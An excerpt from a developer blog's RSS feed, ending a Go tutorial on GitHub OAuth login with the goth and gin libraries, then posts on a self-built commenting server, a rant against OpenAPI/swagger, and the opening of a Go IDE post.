<p>Now the pure magic part is the ability to use ready to use libraries for OAuth such as <a href="https://github.com/markbates/goth">goth</a>. Goth supports a ton of providers, so it means we can have all of them available for us, on our application. For the demo purposes, I&rsquo;ll stick to a single one though. I&rsquo;ll use the github provider. Using goth is rather easy. But before we start with that a quick refresher on OAuth. I&rsquo;ll keep it a bit simplistic. Before OAuth can take place, you need a secret that you and the third party knows. This can be found on the providers webpage. Once you have those, the flow is basically as follows:</p>
<ul>
<li>A user initiates the action to log in through a third party provider</li>
<li>The user is redirected to the 3rd parties provider to agree to giving OAuth access.</li>
<li>The user agrees and gives you OAuth access.</li>
<li>The provider then redirects the user back to your website with an auth code.</li>
<li>With the OAuth code your web server can then gain access and fetch users information.</li>
</ul>
<p>With that, what we need to enable OAuth in this example is:</p>
<ol>
<li>A button to initiate the flow</li>
<li>An auth endpoint to that the button will take the user to</li>
<li>A callback that will get called once the auth is done, so we can gain the user info</li>
</ol>
<p>Let&rsquo;s start auth endpoint. For this, we&rsquo;ll set up goth and let it handle all the complexity of OAuth. Here&rsquo;s how to do it for github.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/markbates/goth&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/markbates/goth/gothic&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/markbates/goth/providers/github&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/gin-gonic/gin&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Default</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">githubProvider</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">github</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Getenv</span>(<span style="color:#e6db74">&#34;GITHUB_KEY&#34;</span>), <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Getenv</span>(<span style="color:#e6db74">&#34;GITHUB_SECRET&#34;</span>), <span style="color:#e6db74">&#34;http://localhost:8080/callback&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">goth</span>.<span style="color:#a6e22e">UseProviders</span>(<span style="color:#a6e22e">githubProvider</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">htmlFormat</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">`&lt;html&gt;&lt;body&gt;%v&lt;/body&gt;&lt;/html&gt;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">GET</span>(<span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">html</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#a6e22e">htmlFormat</span>, <span style="color:#e6db74">&#34;Test&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Data</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusOK</span>, <span style="color:#e6db74">&#34;text/html; charset=utf-8&#34;</span>, []byte(<span style="color:#a6e22e">html</span>))
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Run</span>() <span style="color:#75715e">// listen and serve on 0.0.0.0:8080</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>We will need a github key and a github secret and those can be gotten under developer settings of your account. We also provide a callback address, and that will be used for registering an OAuth application under your github account as well, so do make sure to use the one I&rsquo;ve added if you&rsquo;re following along with this.</p>
<p>Now all we need to implement a couple of endpoints, the auth redirect and the callback.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;encoding/json&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/gin-gonic/gin&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/markbates/goth&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/markbates/goth/gothic&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#34;github.com/markbates/goth/providers/github&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Default</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">githubProvider</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">github</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Getenv</span>(<span style="color:#e6db74">&#34;GITHUB_KEY&#34;</span>), <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Getenv</span>(<span style="color:#e6db74">&#34;GITHUB_SECRET&#34;</span>), <span style="color:#e6db74">&#34;http://localhost:8080/callback&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">goth</span>.<span style="color:#a6e22e">UseProviders</span>(<span style="color:#a6e22e">githubProvider</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">htmlFormat</span> <span style="color:#f92672">:=</span> <span style="color:#e6db74">`&lt;html&gt;&lt;body&gt;%v&lt;/body&gt;&lt;/html&gt;`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">GET</span>(<span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">html</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#a6e22e">htmlFormat</span>, <span style="color:#e6db74">&#34;Test&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Data</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusOK</span>, <span style="color:#e6db74">&#34;text/html; charset=utf-8&#34;</span>, []byte(<span style="color:#a6e22e">html</span>))
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">GET</span>(<span style="color:#e6db74">&#34;/github&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">q</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Request</span>.<span style="color:#a6e22e">URL</span>.<span style="color:#a6e22e">Query</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">q</span>.<span style="color:#a6e22e">Add</span>(<span style="color:#e6db74">&#34;provider&#34;</span>, <span style="color:#e6db74">&#34;github&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Request</span>.<span style="color:#a6e22e">URL</span>.<span style="color:#a6e22e">RawQuery</span> = <span style="color:#a6e22e">q</span>.<span style="color:#a6e22e">Encode</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">gothic</span>.<span style="color:#a6e22e">BeginAuthHandler</span>(<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Writer</span>, <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Request</span>)
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">GET</span>(<span style="color:#e6db74">&#34;/callback&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">q</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Request</span>.<span style="color:#a6e22e">URL</span>.<span style="color:#a6e22e">Query</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">q</span>.<span style="color:#a6e22e">Add</span>(<span style="color:#e6db74">&#34;provider&#34;</span>, <span style="color:#e6db74">&#34;github&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Request</span>.<span style="color:#a6e22e">URL</span>.<span style="color:#a6e22e">RawQuery</span> = <span style="color:#a6e22e">q</span>.<span style="color:#a6e22e">Encode</span>()
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">user</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">gothic</span>.<span style="color:#a6e22e">CompleteUserAuth</span>(<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Writer</span>, <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Request</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithError</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">res</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">Marshal</span>(<span style="color:#a6e22e">user</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">AbortWithError</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">jsonString</span> <span style="color:#f92672">:=</span> string(<span style="color:#a6e22e">res</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">html</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#a6e22e">htmlFormat</span>, <span style="color:#a6e22e">jsonString</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Data</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusOK</span>, <span style="color:#e6db74">&#34;text/html; charset=utf-8&#34;</span>, []byte(<span style="color:#a6e22e">html</span>))
</span></span><span style="display:flex;"><span>	})
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Run</span>() <span style="color:#75715e">// listen and serve on 0.0.0.0:8080</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
<p>The <code>/github</code> endpoint will do the redirect to github. You might be wondering why do I need to manipulate the request by adding the value provider to the query. Well, in all reality - you don&rsquo;t if you&rsquo;re using proper rest API practices and working with multiple OAuth providers. Goth uses the query to figure out which of the registered OAuth providers to use to try and initiate the flow. I&rsquo;m just faking the query via the three lines:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">q</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Request</span>.<span style="color:#a6e22e">URL</span>.<span style="color:#a6e22e">Query</span>()
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">q</span>.<span style="color:#a6e22e">Add</span>(<span style="color:#e6db74">&#34;provider&#34;</span>, <span style="color:#e6db74">&#34;github&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Request</span>.<span style="color:#a6e22e">URL</span>.<span style="color:#a6e22e">RawQuery</span> = <span style="color:#a6e22e">q</span>.<span style="color:#a6e22e">Encode</span>()</span></span></code></pre></div>
<p>I&rsquo;m also doing the same in the callback, so - ignore them. In a proper, non demo solution this is not needed as you&rsquo;ll have the provider passed in as a parameter in a route. The meaty parts here are the <code>gothic.BeginAuthHandler(c.Writer, c.Request)</code> that&rsquo;s responsible for beginning the OAuth flow and <code>user, err := gothic.CompleteUserAuth(c.Writer, c.Request)</code> for completing the flow and parsing the user details. I&rsquo;ve also added the user details as a serialized json to our output html once the flow is complete via the callback.</p>
<p>Now onto the button. All we need to do is redirect the user to the <code>/github</code> endpoint. I simply change the routers GET <code>/</code> to the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">GET</span>(<span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">html</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#a6e22e">htmlFormat</span>, <span style="color:#e6db74">`&lt;a href=&#34;https://dizzy.zone/github&#34;&gt;Login through github&lt;/a&gt;`</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Data</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusOK</span>, <span style="color:#e6db74">&#34;text/html; charset=utf-8&#34;</span>, []byte(<span style="color:#a6e22e">html</span>))
</span></span><span style="display:flex;"><span>})</span></span></code></pre></div>
<p>With that, our OAuth setup is complete. Run your go application, just be sure to set the environment variables <code>GITHUB_KEY</code> and <code>GITHUB_SECRET</code> before hand. You should now be able to log in and see all the details in json format that github provides for your user.</p>
<h2 id="why-do-you-want-this">Why do you want this?</h2>
<p>In general, handling user credentials is a great responsibility and one should never take it lightly. Therefore it is best to use OAuth if at all possible and not bother making your own Auth services. This allows for greater safety, as it is rather unlikely you&rsquo;ll come up with a solution more secure than some of the big players. <strong>It is rarely a good idea to implement your own Auth solution!</strong> With tools like Goth that make this process trivial - there is no excuse for making one yourself.</p>
<p>The full code snippet is also available as a <a href="https://gist.github.com/vkuznecovas/087fc18bef1a1b04b2e7d7863fae4868">gist</a>.</p>
<blockquote>
<p>Had any issues following the guide? Have I gotten anything wrong? Do let me know in the comments below.</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>I made my own commenting server. Here&#39;s why.</title>
            <link>https://dizzy.zone/2018/04/19/I-made-my-own-commenting-server.-Heres-why./</link>
            <pubDate>Thu, 19 Apr 2018 13:16:37 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/04/19/I-made-my-own-commenting-server.-Heres-why./</guid>
            <description><![CDATA[ <p>I haven&rsquo;t been blogging much lately. That&rsquo;s due to the fact that most of my spare time went to creating <a href="https://github.com/vkuznecovas/mouthful">mouthful</a> - a commenting server that I&rsquo;ve since switched this blog to. Before that I was using <a href="https://posativ.org/isso/">isso</a>. Here&rsquo;s why I did it.</p>
<h1 id="the-issue-with-isso">The issue with isso</h1>
<p>While I really like isso, there&rsquo;s one problem that kills it for me. Under no load, the backend consumes nearly 50MB of memory on my server. You might say that 50MB is nothing nowadays but I disagree. I&rsquo;m running everything under <a href="https://aws.amazon.com/about-aws/whats-new/2015/12/introducing-t2-nano-the-smallest-lowest-cost-amazon-ec2-instance/">AWS t2.nano</a> instances, meaning I only have 500MB of memory to play with. Since I&rsquo;m running them as docker hosts for my ECS cluster with a few applications on them memory is an expensive commodity. Since I&rsquo;ve become quite fond of GO, I&rsquo;ve also looked at <a href="https://github.com/adtac/commento">commento</a> but at the time of writing it did not have moderation support. I really wanted that. I knew that I could squeeze in the functionality I needed an only use a few MB of RAM. Currently, the commenting service runs with most of the functionality enabled with a stable memory usage of under 7MB. Take this with a grain of salt though, as I do not have many comments or visitors currently.</p>]]></description>
            <content:encoded><![CDATA[ <p>I haven&rsquo;t been blogging much lately. That&rsquo;s due to the fact that most of my spare time went to creating <a href="https://github.com/vkuznecovas/mouthful">mouthful</a> - a commenting server that I&rsquo;ve since switched this blog to. Before that I was using <a href="https://posativ.org/isso/">isso</a>. Here&rsquo;s why I did it.</p>
<h1 id="the-issue-with-isso">The issue with isso</h1>
<p>While I really like isso, there&rsquo;s one problem that kills it for me. Under no load, the backend consumes nearly 50MB of memory on my server. You might say that 50MB is nothing nowadays but I disagree. I&rsquo;m running everything under <a href="https://aws.amazon.com/about-aws/whats-new/2015/12/introducing-t2-nano-the-smallest-lowest-cost-amazon-ec2-instance/">AWS t2.nano</a> instances, meaning I only have 500MB of memory to play with. Since I&rsquo;m running them as docker hosts for my ECS cluster with a few applications on them memory is an expensive commodity. Since I&rsquo;ve become quite fond of GO, I&rsquo;ve also looked at <a href="https://github.com/adtac/commento">commento</a> but at the time of writing it did not have moderation support. I really wanted that. I knew that I could squeeze in the functionality I needed an only use a few MB of RAM. Currently, the commenting service runs with most of the functionality enabled with a stable memory usage of under 7MB. Take this with a grain of salt though, as I do not have many comments or visitors currently.</p>
<h1 id="side-project">Side project</h1>
<p>Side projects are a darn good way for a developer to hone his skills and improve his CV. I&rsquo;ve always wanted to have a meaningful side project, where I could experiment but also put my skills to use and hopefully make something that people will end up using. The commenting server sounded like a good idea as it was something I could make in a couple of months at my own pace. It&rsquo;s also something I&rsquo;d be using myself, since I was looking for a replacement for isso. It&rsquo;s also a good opportunity to do some front-end as it has been quite a while since I&rsquo;ve last touched react or any other front-end framework. I&rsquo;ve chosen <a href="https://github.com/developit/preact">Preact</a> since it&rsquo;s small and I wanted something that&rsquo;s not too bulky. I know I could have gone with vanilla JS and saved even more weight but I prefer working with libraries that you&rsquo;ll encounter more in a work environment. While preact might not be too common, it&rsquo;s very close to react and that one is rather popular. Mouthful turned out to be a good playground to try many new things.</p>
<h1 id="getting-familiar-with-open-source">Getting familiar with open source</h1>
<p>I&rsquo;ve been working mostly with non open source solution at work and since most of my time coding was spent there, I&rsquo;ve not made myself familiar with the open source culture and the tools that open source offers. Tools such as <a href="https://travis-ci.org/">Travis CI</a>, <a href="https://goreportcard.com/">GoReportCard</a> and <a href="https://codecov.io/">Codecov</a> are a new territory. While I&rsquo;ve been using Github for most of my professional career, I&rsquo;m still interested to see how work revolves around an open source project, so I&rsquo;m hoping that mouthful will teach me a lot about that. I&rsquo;m also keen on learning new tips and tricks and techniques from other open source contributors.</p>
]]></content:encoded>
        </item>
        <item>
            <title>Why I hate OpenApi(swagger)</title>
            <link>https://dizzy.zone/2018/02/24/Why-I-hate-OpenApiswagger/</link>
            <pubDate>Sat, 24 Feb 2018 11:38:06 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/02/24/Why-I-hate-OpenApiswagger/</guid>
            <description><![CDATA[ <p><code>&lt;rant&gt;</code></p>
<p>I absolutely despise OpenApi(well, swagger. I&rsquo;ll call it swagger since it was that for most of my career). It&rsquo;s supposed to make the process of creating and documenting an API easier. But does it really?&hellip; Here&rsquo;s what I think about it.</p>
<h2 id="writing-the-swagger-schema-is-so-damn-tedious">Writing the swagger schema is so damn tedious</h2>
<p>From my experience when someone mentions swagger, you&rsquo;ll get dragged into design first - code later mindset rather quickly. While it sounds good on paper the practical implications of writing a swagger schema just make me want to curl in a ball in the corner of the office. The swagger schema is so explicit and such a pain to write. We&rsquo;ve got what I&rsquo;d call a rather simplistic API by corporate standards at my work. I invite you to &ldquo;design&rdquo; it first. The swagger definition for it is 19808 lines long. I&rsquo;m not kidding. Just think about it. 20 fucking thousand lines of JSON. Good luck designing that. Now, some of you will say &ldquo;but wait a moment, why not generate the swagger schema from code&rdquo;. While that does sound like a great idea on paper I really fail to see the point of it. If I document my code properly I can already generate documentation that is not going to be as tedious or as explicit. If the code is undocumented, swagger does not provide any sort of a benefit there.</p>]]></description>
            <content:encoded><![CDATA[ <p><code>&lt;rant&gt;</code></p>
<p>I absolutely despise OpenApi(well, swagger. I&rsquo;ll call it swagger since it was that for most of my career). It&rsquo;s supposed to make the process of creating and documenting an API easier. But does it really?&hellip; Here&rsquo;s what I think about it.</p>
<h2 id="writing-the-swagger-schema-is-so-damn-tedious">Writing the swagger schema is so damn tedious</h2>
<p>From my experience when someone mentions swagger, you&rsquo;ll get dragged into design first - code later mindset rather quickly. While it sounds good on paper the practical implications of writing a swagger schema just make me want to curl in a ball in the corner of the office. The swagger schema is so explicit and such a pain to write. We&rsquo;ve got what I&rsquo;d call a rather simplistic API by corporate standards at my work. I invite you to &ldquo;design&rdquo; it first. The swagger definition for it is 19808 lines long. I&rsquo;m not kidding. Just think about it. 20 fucking thousand lines of JSON. Good luck designing that. Now, some of you will say &ldquo;but wait a moment, why not generate the swagger schema from code&rdquo;. While that does sound like a great idea on paper I really fail to see the point of it. If I document my code properly I can already generate documentation that is not going to be as tedious or as explicit. If the code is undocumented, swagger does not provide any sort of a benefit there.</p>
<blockquote>
<p>Vik, you&rsquo;re a scrub. It&rsquo;s 2018 and you should be writing microservices. Then you&rsquo;ll have no large swagger specs.</p></blockquote>
<p>Well, how about no. I like my monoliths. I don&rsquo;t scale apps that do not need scaling. It makes it easier to develop and maintain them. <a href="http://www.dwmkerr.com/the-death-of-microservice-madness-in-2018/">I&rsquo;m not the only one</a>.</p>
<h2 id="documentation">Documentation</h2>
<p>One of the main selling points for swagger is the fancy HTML documentation that you can generate from the swagger schema. In my experience, the documentation itself is absolutely and literally unusable. It makes perfect sense if you think about it. Most of the documentation is generated as static html from the swagger schema. Now take one that&rsquo;s 20k lines long. If you expect it to be quick to load, fast to navigate and make sense of, I&rsquo;d say you&rsquo;re wrong. Add in all the &ldquo;try it out live&rdquo; web forms into it and you&rsquo;re looking at a HTML page that your browser will refuse to work with in any way shape or form. All the interesting bits are the HTTP method, the URL and the payload model, anyway. Why have the extra details?</p>
<h2 id="yaml-sucks">YAML sucks</h2>
<p>Why the push for YAML in OpenApi? YAML is absolutely terrible and I&rsquo;m a firm believer that it&rsquo;s the case. Anything with whitespaces in it as a part of the spec is not human readable. If you have to differentiate between 3 or 4 spaces, how are you going to do it? I personally can&rsquo;t. Maybe it&rsquo;s just me but that&rsquo;s a good enough reason for me. Tabs would help. <a href="http://www.yaml.org/faq.html">Oh wait</a>. JSON is also more compact. I like compactness. I&rsquo;m a compact person myself(read: short). Also, <a href="https://github.com/cblp/yaml-sucks">yaml sucks</a>.</p>
<h2 id="generating-code-from-swagger-spec">Generating code from swagger spec</h2>
<p>So you&rsquo;ve got a couple of changes in the 10 billion line swagger spec. Time to generate code from it. Here&rsquo;s what the next pull request will look like:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr_hu_2559f7ad8a41c181.png 500w,
  /2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr_hu_7c001eca64930694.png 800w,
  /2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr_hu_c3424724ba53b2d.png 1200w,
  /2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr_hu_f4c242729ddd6304.png 1500w'
  src="https://dizzy.zone/2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr_hu_c3424724ba53b2d.png" 
  alt="A pr example for the typical go swagger generation.">
</a>
</div>
<p>Good luck sifting through it. I for one, give up. I&rsquo;ll give a more down to earth example with GO and <a href="https://github.com/go-swagger/go-swagger">go swagger</a> lib. Let&rsquo;s use the <a href="https://github.com/go-swagger/go-swagger/blob/master/examples/todo-list/swagger.yml">todo example yaml as input</a>. I run the swagger server generation and here&rsquo;s what the tiny pull request looks like:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr2.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr2_hu_cf159c535676587d.png 500w,
  /2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr2_hu_6eda50a0d3d0a396.png 800w,
  /2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr2_hu_55187cbbd43b8fd4.png 1200w,
  /2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr2_hu_f675311fc25fd5b.png 1500w'
  src="https://dizzy.zone/2018/02/24/Why-I-hate-OpenApiswagger/swagger-pr2_hu_55187cbbd43b8fd4.png" 
  alt="A pr example for the typical go swagger generation. Again.">
</a>
</div>
<p>2.8k lines of code. I know some of it is to blame on GO not having proper generics, but still. I hate it. I hate it so much&hellip;</p>
<p>Oh well, back to work. Back to fucking writing another path in that 10 billion line swagger.json.</p>
<p><code>&lt;/rant&gt;</code></p>
<p>That being said, I&rsquo;ve no better alternative at the moment.</p>
<blockquote>
<p>What&rsquo;s your stance on swagger? Do you use something else? What? Is there a better way to do this?</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>IDE for GO</title>
            <link>https://dizzy.zone/2018/02/13/IDE-for-GO/</link>
            <pubDate>Tue, 13 Feb 2018 21:58:16 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/02/13/IDE-for-GO/</guid>
            <description><![CDATA[ <p>There are quite a few IDE choices for Go. I&rsquo;m not going to list them all, but here are my prefered ones with the reasoning behind it.</p>
<h2 id="the-free-option">The free option</h2>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="/2018/02/13/IDE-for-GO/vscode.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/02/13/IDE-for-GO/vscode_hu_99e5b31df19f5148.png 500w,
  /2018/02/13/IDE-for-GO/vscode_hu_ba148a54f0ff4c52.png 800w,
  /2018/02/13/IDE-for-GO/vscode_hu_f851b52505aad66.png 1200w,
  /2018/02/13/IDE-for-GO/vscode_hu_1de1b9383de7e8b4.png 1500w'
  src="/2018/02/13/IDE-for-GO/vscode_hu_f851b52505aad66.png" 
  alt="VS Code logo.">
</a>
</div>
